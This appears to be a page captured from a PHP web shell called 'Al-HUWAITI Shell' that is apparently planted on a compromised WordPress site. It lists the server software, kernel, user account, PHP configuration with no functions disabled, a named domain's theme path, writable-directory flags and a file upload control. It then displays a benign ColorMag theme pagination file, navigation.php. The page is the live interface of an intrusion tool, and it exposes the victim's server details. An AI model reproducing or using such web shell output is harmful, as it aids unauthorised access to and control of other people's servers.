hello 404 Not Found
Al-HUWAITI Shell
Al-huwaiti


Server : Apache/2.4.52 (Ubuntu)
System : Linux HAN2 5.15.0-185-generic #195-Ubuntu SMP Fri Jun 19 17:11:50 UTC 2026 x86_64
User : servadmin ( 1000)
PHP Version : 8.1.2-1ubuntu2.25
Disable Function : NONE
Directory :  /www/docs/www.obusignal.com/www.obusignal.com/wp-content/themes/colormag-pro/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /www/docs/www.obusignal.com/www.obusignal.com/wp-content/themes/colormag-pro/navigation.php
<?php
/**
 * The template part for displaying navigation.
 *
 * @package ThemeGrill
 * @subpackage ColorMag
 * @since ColorMag 1.0
 */
?>

<?php
if( is_archive() || is_home() || is_search() ) {
	/**
	 * Checking WP-PageNaviplugin exist
	 */
	if ( function_exists('wp_pagenavi' ) ) :
		wp_pagenavi();

	else:
		global $wp_query;
		if ( $wp_query->max_num_pages > 1 ) :
		?>
		<ul class="default-wp-page clearfix">
			<li class="previous"><?php next_posts_link( __( '&larr; Previous', 'colormag' ) ); ?></li>
			<li class="next"><?php previous_posts_link( __( 'Next &rarr;', 'colormag' ) ); ?></li>
		</ul>
		<?php
		endif;
	endif;
}

if ( is_single() ) {
	if( is_attachment() ) {
	?>
		<ul class="default-wp-page clearfix">
			<li class="previous"><?php previous_image_link( false, __( '&larr; Previous', 'colormag' ) ); ?></li>
			<li class="next"><?php next_image_link( false, __( 'Next &rarr;', 'colormag' ) ); ?></li>
		</ul>
	<?php
	}
	else {
		if (get_theme_mod('colormag_post_navigation', 'default') == 'small_featured_image') {
			$prev_post = get_previous_post();
			if ($prev_post) {
				$prev_thumb_image = get_the_post_thumbnail($prev_post->ID, 'colormag-featured-post-small');
			} else {
				$prev_thumb_image = '';
			}

			// function to retrieve next post
			$next_post = get_next_post();
			if ($next_post) {
				$next_thumb_image = get_the_post_thumbnail($next_post->ID, 'colormag-featured-post-small');
			} else {
				$next_thumb_image = '';
			}
			?>

			<ul class="default-wp-page clearfix thumbnail-pagination">
				<?php if ( get_previous_post_link() ) { ?>
					<li class="previous">
					<?php previous_post_link( $prev_thumb_image . '%link', '<span class="meta-nav">' . _x( '&larr; Previous', 'Previous post link', 'colormag' ) . '</span> %title' ); ?>
					</li>
				<?php } ?>

				<?php if ( get_next_post_link() ) { ?>
					<li class="next">
					<?php next_post_link( '%link' . $next_thumb_image, '%title <span class="meta-nav">' . _x( 'Next &rarr;', 'Next post link', 'colormag' ) . '</span>' ); ?>
					</li>
				<?php } ?>
			</ul>
		<?php } else {
		?>
			<ul class="default-wp-page clearfix">
				<li class="previous"><?php previous_post_link( '%link', '<span class="meta-nav">' . _x( '&larr;', 'Previous post link', 'colormag' ) . '</span> %title' ); ?></li>
				<li class="next"><?php next_post_link( '%link', '%title <span class="meta-nav">' . _x( '&rarr;', 'Next post link', 'colormag' ) . '</span>' ); ?></li>
			</ul>
		<?php
		}
	}
}

?>

Al-HUWAITI Shell